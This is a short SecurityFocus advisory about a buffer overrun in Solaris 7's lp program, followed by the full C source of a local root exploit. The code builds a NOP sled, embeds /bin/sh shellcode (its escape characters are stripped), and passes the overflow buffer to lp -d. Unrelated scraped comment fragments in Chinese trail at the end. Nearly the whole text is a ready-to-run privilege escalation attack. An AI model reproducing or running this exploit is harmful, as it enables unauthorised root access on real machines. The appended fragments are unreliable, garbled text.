source: http://www.securityfocus.com/bid/1143/info
A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root.
/*
*
* solaris 2.7 /usr/bin/lp local exploit, i386.
*
* discovered by DiGiT.
* try offset 150-250 if sploit fails
*
* greets: #!ADM, #!security.is, #hax, duke
*
* DiGiT - [email protected]
*
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"
"x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"
"xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"
"x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"
"xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"
"x62x69x6ex2fx73x68xffxffxffxffxffxffxffxffxff";
#define BUFSIZE 1100
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) {
char buff[BUFSIZE];
int nopcount=501, offset=260;
int i;
if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) nopcount = atoi(argv[2]);
memset (buff, 0x90, BUFSIZE);
for (i = nopcount; i < BUFSIZE - 4; i += 4)
*(long *) &buff[i] = get_esp() + offset;
memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
(shellcode));
memcpy (buff, ":", 1);
printf("Addr = 0x%xn", get_esp() + offset);
execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666